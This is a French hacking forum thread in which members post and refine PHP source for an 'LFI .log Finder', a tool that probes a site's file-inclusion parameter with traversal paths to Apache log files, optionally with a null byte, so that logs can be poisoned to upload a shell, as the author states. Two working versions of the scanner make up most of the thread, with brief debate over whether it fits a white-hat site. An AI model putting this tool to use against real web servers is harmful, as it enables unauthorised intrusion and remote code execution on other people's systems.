• STATISTIQUES
  • Il y a eu un total de 3 membres et 9692 visiteurs sur le site dans les dernières 24h pour un total de 9 695 personnes!


    Membres: 2 605
    Discussions: 3 580
    Messages: 32 820
    Tutoriels: 78
    Téléchargements: 38
    Sites dans l'annuaire: 58


  • ANNUAIRE
  • [EN] w3challs
    Ce site propose différents types de défis informatiques: piratage, craquage, cryptographie, stég...
    Hacking
    [FR] Newbie Contest
    Crackme: 35, Cryptographie: 49, Hacking: 27, Javascript/Java: 17, Logique: 31, Programmation: 23, Stéganographie: 53
    Challenges
    [EN] hax.tor
    50 level de challenges mélangés
    Challenges
    [FR] PHP Débutant
    Apprendre le PHP par l'exemple, facilement et simplement. Réservé d'abord aux débutants....
    Programmation
    [FR] NewbieContest
    Nous vous proposons une série de challenges regroupant plusieurs domaines allant de l'exploitation de fail...
    Hacking
    [EN] Framework Metasploit
    Le Framework Metasploit est un logiciel gratuit, open source de tests de pénétration développ&ea...
    Vulnérabilités
    [EN] Exploit-db
    Une base de données d'exploits triés par genre (GHDB, Remote, Local, Web, DOS, ShellCode) à ...
    Vulnérabilités

  • DONATION
  • Si vous avez trouvé ce site internet utile, nous vous invitons à nous faire un don du montant de votre choix via Paypal. Ce don servira à financer notre hébergement.

    MERCI!




Note de ce sujet :
  • Moyenne : 0 (0 vote(s))
  • 1
  • 2
  • 3
  • 4
  • 5
LFI .log Finder (+ Source PHP)
28-01-2013, 21h20 (Modification du message : 30-01-2013, 21h09 par Hypnoze57.)
Message : #1
Hypnoze57 Hors ligne
Web Hacker
*



Messages : 98
Sujets : 13
Points: 28
Inscription : Feb 2012
LFI .log Finder (+ Source PHP)
Bonjour à tous ! Je vous présente la première version de mon LFI .log Finder.
Comme son nom l'indique, ce programme va rechercher les fichiers logs via une local file inclusion (access et error) ce qui peut vous permettre d'uploader un shell ou autre.

Un petit screen : [Image: 574665poc.png]

Et le lien : http://microglobe.p.ht/lfi_log/

Source:

Code PHP :
<?php
/****************************/
/* Tools coded by Hypnoze57 */
/****************************/

$array = array(
'../logs/access.log',
'../logs/access_log',
'../logs/error.log',
'../logs/error_log',
'../apache/logs/error.log',
'../apache/logs/access.log',
'../../apache/logs/error.log',
'../../apache/logs/access.log',
'../../../apache/logs/error.log',
'../../../apache/logs/access.log',
'../../../../../../../etc/httpd/logs/acces_log',
'../../../../../../../etc/httpd/logs/acces.log',
'../../../../../../../etc/httpd/logs/error_log',
'../../../../../../../etc/httpd/logs/error.log',
'../../../../../../../var/www/logs/access_log',
'../../../../../../../var/www/logs/access.log',
'../../../../../../../usr/local/apache/logs/access_log',
'../../../../../../../usr/local/apache/logs/access.log',
'../../../../../../../var/log/apache/access_log',
'../../../../../../../var/log/apache2/access_log',
'../../../../../../../var/log/apache/access.log',
'../../../../../../../var/log/apache2/access.log',
'../../../../../../../var/log/access_log',
'../../../../../../../var/log/access.log',
'../../../../../../../var/www/logs/error_log',
'../../../../../../../var/www/logs/error.log',
'../../../../../../../usr/local/apache/logs/error_log',
'../../../../../../../usr/local/apache/logs/error.log',
'../../../../../../../var/log/apache/error_log',
'../../../../../../../var/log/apache2/error_log',
'../../../../../../../var/log/apache/error.log',
'../../../../../../../var/log/apache2/error.log',
'../../../../../../../var/log/error_log',
'../../../../../../../var/log/error.log');
?>
<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8" />
        <link rel="stylesheet" href="style.css" />
        <link rel="shortcut icon" href="icon.png">
        <title>LFI .log Finder</title>
    </head>
    <header>
    <center>
    <PRE>
  _     _____ ___     _               _____ _           _           
 | |   |  ___|_ _|   | | ___   __ _  |  ___(_)_ __   __| | ___ _ __ 
 | |   | |_   | |    | |/ _ \ / _` | | |_  | | '_ \ / _` |/ _ \ '__|
 | |___|  _|  | |   _| | (_) | (_| | |  _| | | | | | (_| |  __/ |   
 |_____|_|   |___| (_)_|\___/ \__, | |_|   |_|_| |_|\__,_|\___|_|   
                              |___/                                 
    </PRE>
    </center>
    </header>
    <body>
    <form action="" method="post">
    URL: <input type="text" name="url" size="50" placeholder="http://site.com/page.php?page=" /><br />
    Null Byte (%00): <input type="checkbox" name="nullbyte" value="true"><br />
    <input type="submit" value="Search!" />
    </form>
<?php
if(isset($_POST['url']) && !empty($_POST['url']) && !is_array($_POST['url'])) {
    
$poison false;
    if(isset(
$_POST['nullbyte'])) $poison true;
    
$url urldecode(htmlentities($_POST['url'], ENT_QUOTES));
    
$nb count($array) - 1;
    echo 
'<ul>';
    for(
$i=0;$i<=$nb;$i++) {
        
$lien $url.$array[$i]; if($poison == true) { $lien .= '%00'; }
        
$pg file_get_contents($lien);
        if(
preg_match('#Warning: include|<b>Warning</b>:  include|Warning:  include|<b>Warning:</b> include#'$pg)) {
            echo 
'<li><a href="'.$lien.'">'.$lien.'</a></li> <font color="red">[#]Not found!</font>';
        } else {
            echo 
'<li><a class="green" href="'.$lien.'">'.$lien.'</a></li> <font color="orange">[~] Found!</font>';
        }
    }
    echo 
'</ul>';
}
?>
    </body>
<footer>
    <center><br /><br />&copy; 2013 Hypnoze57</center>
</footer>
</html> 

Cordialement.
Make your own destiny now and forever !
+1 (1) -1 (0) Répondre
28-01-2013, 21h32
Message : #2
Kiwazaru Hors ligne
Padawan d'un super escargot
*



Messages : 284
Sujets : 26
Points: 139
Inscription : Mar 2012
RE: LFI .log Finder
Sur un site white hat, ça le fait pas trop...
Toucher au Kernel, c'est un peut comme se shooter au LSD, on pense pouvoir tout faire mais ça finit souvent mal.
+1 (0) -1 (0) Répondre
28-01-2013, 21h35 (Modification du message : 28-01-2013, 21h36 par Hypnoze57.)
Message : #3
Hypnoze57 Hors ligne
Web Hacker
*



Messages : 98
Sujets : 13
Points: 28
Inscription : Feb 2012
RE: LFI .log Finder
(28-01-2013, 21h32)ReVeRse a écrit : Sur un site white hat, ça le fait pas trop...

C'est effectivement l'idée que je m'étais faite au début. Mais j'en ai au préalable discuter avec supersnail !
*EDIT: Et c'est juste pour le principe de l'outil.. Il y a bien des tutoriels de hacking alors pourquoi pas des outils..
Make your own destiny now and forever !
+1 (0) -1 (0) Répondre
28-01-2013, 21h38
Message : #4
Shirobi Hors ligne
Bannis



Messages : 207
Sujets : 19
Points: 17
Inscription : Oct 2012
RE: LFI .log Finder
(28-01-2013, 21h32)ReVeRse a écrit : Sur un site white hat, ça le fait pas trop...
Ca peut servir pour les challs et verifier nos sites... sinon C'est pas trop chapeau blanc...


Meme moi qui ne code pas bcp php ca m'a l'air facile a faire, Je me trompe?
+1 (0) -1 (0) Répondre
28-01-2013, 21h40 (Modification du message : 28-01-2013, 21h41 par Hypnoze57.)
Message : #5
Hypnoze57 Hors ligne
Web Hacker
*



Messages : 98
Sujets : 13
Points: 28
Inscription : Feb 2012
RE: LFI .log Finder
(28-01-2013, 21h38)Shirobi a écrit :
(28-01-2013, 21h32)ReVeRse a écrit : Sur un site white hat, ça le fait pas trop...
Ca peut servir pour les challs et verifier nos sites... sinon C'est pas trop chapeau blanc...


Meme moi qui ne code pas bcp php ca m'a l'air facile a faire, Je me trompe?

Ce n'est pas compliquer ! Il faut un minimum de connaissances.
Make your own destiny now and forever !
+1 (0) -1 (0) Répondre
28-01-2013, 21h43
Message : #6
Kiwazaru Hors ligne
Padawan d'un super escargot
*



Messages : 284
Sujets : 26
Points: 139
Inscription : Mar 2012
RE: LFI .log Finder
Je dit pas que c'est anti-white hat, mais je dit juste qu'il faut que tu précise l'utilisation qui doit être faite de l’outil Wink
Toucher au Kernel, c'est un peut comme se shooter au LSD, on pense pouvoir tout faire mais ça finit souvent mal.
+1 (0) -1 (0) Répondre
28-01-2013, 22h24
Message : #7
Di0Sasm Hors ligne
Chimiste
*******



Messages : 924
Sujets : 56
Points: 91
Inscription : Aug 2011
RE: LFI .log Finder
Bon l'outil par lui même me dérange pas, mais avec un bout de code plutôt qu'une url et un bout des logs qu'il vérifie auraient plus instructif que ça Wink.
+1 (0) -1 (0) Répondre
30-01-2013, 21h09
Message : #8
Hypnoze57 Hors ligne
Web Hacker
*



Messages : 98
Sujets : 13
Points: 28
Inscription : Feb 2012
RE: LFI .log Finder (+ Source PHP)
Topic mis à jour ! Source ajouté !
Make your own destiny now and forever !
+1 (0) -1 (0) Répondre
30-01-2013, 22h59 (Modification du message : 30-01-2013, 22h59 par Swissky.)
Message : #9
Swissky Absent
Bon membre
*



Messages : 523
Sujets : 32
Points: 96
Inscription : Apr 2012
RE: LFI .log Finder (+ Source PHP)
Code source intéressant , merci du post, tu pourrais peut-être améliorer le tool, en faisant une boucle qui testerait plus de possibilité de répertoire. Je m'explique :
Code PHP :
$i =0;
while(
$i 10)
{
$checkpath "../".$checkpath;
$i++;

Avec checkpath , la variable contenant "../logs/access.log", cela permet de trouver quand même la LFI dans un cas où il y aurait plus de dossier Big Grin
+1 (0) -1 (0) Répondre
31-01-2013, 11h52 (Modification du message : 31-01-2013, 11h54 par InstinctHack.)
Message : #10
InstinctHack Hors ligne
Posting Freak
*



Messages : 1,366
Sujets : 184
Points: 299
Inscription : Dec 2011
RE: LFI .log Finder (+ Source PHP)
@Swissky, t'es sûrr de ton code ? Tu pense pas ce qu'était ça l'idée :
Code PHP :

<?php
for($i=0;$i<10;$i++)
{
$checkpath = str_repeat("../",$i).$checkpath;
}
 


@Hypnoze57
!is_array($_POST['url']) // condition inutile, car les variables get/post meme ayant une forme valide d'array php, sont considéré comme des chaines de caractères ( sauf grosse erreur de ma part)

EDIT : je propose ma version (qui n'est d'autre que celle de Hypnoze57 mais plus flexible et avec un peu plus de fonctionnalités)

Code PHP :

<?php
/****************************/
/*     Tools coded by       */
/*    Hypnoze57 && Khaled   */
/****************************/
$directory = array(
'logs/',
'apache/logs/',
'etc/httpd/logs/',
'var/www/logs/',
'usr/local/apache/logs/',
'var/log/apache/',
'var/log/apache2/',
'var/log/',
);

$file=array(
        'access_log',
        'error_log',
);

foreach($file as $key1=>$value1)
{
        $file[]=str_replace('_','.',$value1);
}

?>
<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8" />
        <link rel="stylesheet" href="style.css" />
        <link rel="shortcut icon" href="icon.png">
        <title>LFI .log Finder</title>
    </head>
    <body>
            <header style="text-align:center">
                            <PRE>
  _     _____ ___     _               _____ _           _          
 | |   |  ___|_ _|   | | ___   __ _  |  ___(_)_ __   __| | ___ _ __
 | |   | |_   | |    | |/ _ \ / _` | | |_  | | '_ \ / _` |/ _ \ '__|
 | |___|  _|  | |   _| | (_) | (_| | |  _| | | | | | (_| |  __/ |  
 |_____|_|   |___| (_)_|\___/ \__, | |_|   |_|_| |_|\__,_|\___|_|  
                              |___/                                
                            </PRE>
            </header>
            <form action="" method="post">
                    URL: <input type="text" name="url" size="50" placeholder="http://site.com/page.php?page=" /><br />
                    Null Byte (%00): <input type="checkbox" name="nullbyte" value="true"><br />
                          Sleep : <input type="input" name="sleep" value="0.5"><br />
                   Depth : <input type="input" name="depth" value="3"><br />


                    <input type="submit" value="Search!" />

            </form>
<?php
if(isset($_POST['url']) && !empty($_POST['url']))
{
        $url = urldecode(htmlentities($_POST['url'], ENT_QUOTES));
        echo '<ul>';

        if(isset($_POST['nullbyte']))
        {
                foreach($file as $key1=>$value1)
                {
                        $file[]=$value1.'%00';
                }
        }
        if(isset($_POST['sleep']))
        {
                if(is_numeric($_POST['sleep']))
                {
                        $sleep=$_POST['sleep'];
                }
                else
                {
                        $sleep=0.5;
                }
        }
        else
        {
                $sleep=0;
        }

        if(isset($_POST['depth']))
        {
                if(is_int($_POST['depth']))
                {
                        $depth=$_POST['depth'];        
                }
                else
                {
                        $depth=3;
                }
        }
        else
        {
                $depth=0;              
        }

        foreach($directory as $key1=>$value1)
        {
                foreach($file as $key2=>$value2)
                {
                        for($i=1;$i<$depth;$i++)
                        {
                                $path=str_repeat("../",$i).$value1.$value2;
                                echo '<li>';
                                        echo "<a href='$path'>$path</a>";
                                        if(preg_match('#Warning: include|<b>Warning</b>:  include|Warning:  include|<b>Warning:</b> include#', file_get_contents($path)))
                                        {
                                                echo '<span style="color:red;">[#]Not found!</span>';
                                        }
                                        else
                                        {
                                                echo '<span style="color:orange;">[~] Found!</span>';
                                        }
                                echo '</li>';
                        }
                }
        }
        echo '</ul>';
}
?>
                <footer style="text-align:center">
                        2013 Hypnoze57 && Khaled
                </footer>
    </body>
</html>
 


(je passe sur les balises <center>/<font> obsolète, les <header>/<footer> hors du <body> :p )
Citation :un jour en cours de java j'ai attrapé les seins d'une fille mais elle m'a frappé en disant "c'est privé !!"
j'ai pas compris pourquoi, je croyais qu'on était dans la même classe
+1 (1) -1 (0) Répondre
31-01-2013, 16h48
Message : #11
Swissky Absent
Bon membre
*



Messages : 523
Sujets : 32
Points: 96
Inscription : Apr 2012
RE: LFI .log Finder (+ Source PHP)
Ah mais j'ai mis un code bidon pour expliquer l'idée xD (je ne l'ai pas testé, il fonctionne peut-être ^^')
Mais oui tu as bien saisi l'idée Smile
+1 (0) -1 (0) Répondre
01-02-2013, 19h10
Message : #12
Hypnoze57 Hors ligne
Web Hacker
*



Messages : 98
Sujets : 13
Points: 28
Inscription : Feb 2012
RE: LFI .log Finder (+ Source PHP)
(31-01-2013, 11h52)khaled a écrit : @Hypnoze57
!is_array($_POST['url']) // condition inutile, car les variables get/post meme ayant une forme valide d'array php, sont considéré comme des chaines de caractères ( sauf grosse erreur de ma part)

is_array sert à protéger la variable des Full Path Disclosure !
Sinon pas mal ton code !
Make your own destiny now and forever !
+1 (2) -1 (0) Répondre


Sujets apparemment similaires…
Sujet Auteur Réponses Affichages Dernier message
  [php] Code source ? Yuri 6 260 17-11-2013, 19h14
Dernier message: Yuri

Atteindre :


Utilisateur(s) parcourant ce sujet : 1 visiteur(s)
N-PN
Accueil | Challenges | Tutoriels | Téléchargements | Forum | Retourner en haut